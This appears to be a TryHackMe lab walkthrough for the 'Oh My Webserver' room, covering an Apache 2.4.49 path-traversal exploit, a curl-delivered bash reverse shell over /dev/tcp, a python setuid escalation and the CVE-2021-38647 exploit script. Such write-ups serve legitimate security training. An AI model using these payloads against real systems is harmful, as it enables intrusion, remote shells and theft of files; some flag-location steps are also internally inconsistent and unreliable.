THM: Oh My Webserver
THM: Oh My Webserver
Walkthrough
CTF Platform: TryHackMe
Level: Medium
Tools Used:
nmap
curl
metasploit
netcat
(nc
)- Python3
- Exploit scripts (e.g., CVE-2021-38647)
Resources Used::
Steps for the CTF
Task 1: Oh-My-Webserver
What is the User Flag?
- Enumeration with Nmap
Start by scanning the target machine usingnmap
. Use the following command to perform a service version detection scan:1
nmap -sSCV <IP>
Analyze the results to identify open ports and services running on the target. Pay special attention to any unusual or outdated services.
- Research Vulnerabilities
Based on the service versions identified during the scan, search for known vulnerabilities. For example, if Apache 2.4.49 is detected, usesearchsploit
to find relevant exploits:1
searchsploit Apache 2.4.49
Visit the Exploit-DB link to understand the exploit details.
- Exploiting the Vulnerability
Usecurl
to exploit the vulnerability. Craft a payload to access sensitive files such as/etc/passwd
. Here’s an example of how to structure the request:1
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; /etc/passwd" http://<IP>/cgibin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh
Replace
<IP>
with the target machine’s IP address. This step demonstrates how to traverse directories and execute commands. - Establishing a Reverse Shell
Set up a listener on your machine usingnetcat
:1
nc -lvnp 4444
Then, modify the
curl
command to send a reverse shell payload:1
curl 'http://<IP>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash' --data 'echo Content-Type:text/plain; echo; bash -i >& /dev/tcp/<IP>/4444 0>&1'
Once the connection is established, you will have a shell on the target machine.
- Privilege Escalation to Root
Explore the system to locate the user flag. Use commands likels
,ifconfig
, andcat
to navigate and inspect files. For example:1 2
ls -la cat /root/user.txt
To escalate privileges, try executing commands as root:
1
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
- Retrieve the User Flag
The user flag is located in the/root/user.txt
file. You can read it using:1
cat /root/user.txt
What is the Root Flag?
- Transferring Tools to the Target Machine
If additional tools are required, transfer them to the target machine. For example, uploadnmap
to the/tmp
directory:1
curl http://<my_own_IP>/nmap -o /tmp/nmap
Use the uploaded tool to perform further enumeration:
1
./nmap -sSCV -p- 172.17.0.1
- Exploiting CVE-2021-38647
Research the CVE-2021-38647 vulnerability and its exploit script. Clone the repository from GitHub:1
git clone https://github.com/AlteredSecurity/CVE-2021-38647
Run the exploit script against the target:
1
python3 CVE-2021-38647.py -t 172.17.0.1 -c 'whoami;pwd;id;hostname;uname -a;cat /root/root*'
- Retrieve the Root Flag
The root flag is located in the/root/root.txt
file. Use the exploit output or manually inspect the file to retrieve the flag.
This post is licensed under CC BY 4.0 by the author.